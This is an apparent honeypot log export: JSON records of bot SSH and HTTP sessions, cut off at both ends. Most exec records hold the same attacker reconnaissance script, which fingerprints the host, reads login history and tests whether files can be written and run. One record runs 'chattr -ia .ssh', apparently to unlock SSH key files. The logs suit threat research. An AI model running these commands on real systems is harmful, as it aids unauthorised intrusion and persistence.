  "name": "prickly-ivory-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 52054,
  "username": "backup",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T06:01:43.654774+00:00",
  "ended_at": "2026-08-27T06:01:43.763943+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e987437a-1c80-4b63-aa7c-80912a3cb2e7",
  "name": "mellow-kindly-tern",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "20.240.128.207",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:01:19.123340+00:00",
  "ended_at": "2026-08-27T06:17:08.602218+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b42548a7-0bdf-444b-ad1e-3eddadd01a05",
  "name": "wry-boreal-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 55696,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:00:27.324202+00:00",
  "ended_at": "2026-08-27T06:00:30.967396+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3a35d275-6c1f-49e2-a2ac-8fad2050e02b",
  "name": "buoyant-hazy-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 49170,
  "username": "backup",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:59:50.706472+00:00",
  "ended_at": "2026-08-27T05:59:50.821970+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "561e0170-c00b-4a10-945c-f2c3dd179a0c",
  "name": "prickly-mellow-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 46308,
  "username": "backup",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:57:58.363457+00:00",
  "ended_at": "2026-08-27T05:57:58.737621+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "a77df760-1b64-494a-bfd2-f702ae30c00a",
  "name": "lanky-steady-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 43416,
  "username": "backup",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:56:02.220322+00:00",
  "ended_at": "2026-08-27T05:56:02.337609+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "990b7d74-a263-46ba-886e-57ffe9b15cc8",
  "name": "grumpy-fearless-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 40554,
  "username": "backup",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:54:08.785685+00:00",
  "ended_at": "2026-08-27T05:54:08.929336+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "6ac60bea-1c54-4953-bff1-ffb36751b9ad",
  "name": "sterling-quiet-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 37062,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 314,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:53:51.433201+00:00",
  "ended_at": "2026-08-27T05:53:52.777417+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "e9ac3635-67ea-4f51-886a-09f9bbcbb435",
  "name": "sooty-alpine-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37068,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:53:24.109034+00:00",
  "ended_at": "2026-08-27T05:53:25.498264+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "716b86aa-7f42-4d88-8992-ba369b5a4403",
  "name": "marine-gritty-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37066,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:53:21.806155+00:00",
  "ended_at": "2026-08-27T05:53:23.474875+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "11ca6e1e-b334-401d-80ea-a85e5c33411d",
  "name": "lanky-burly-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 37700,
  "username": "apache",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in 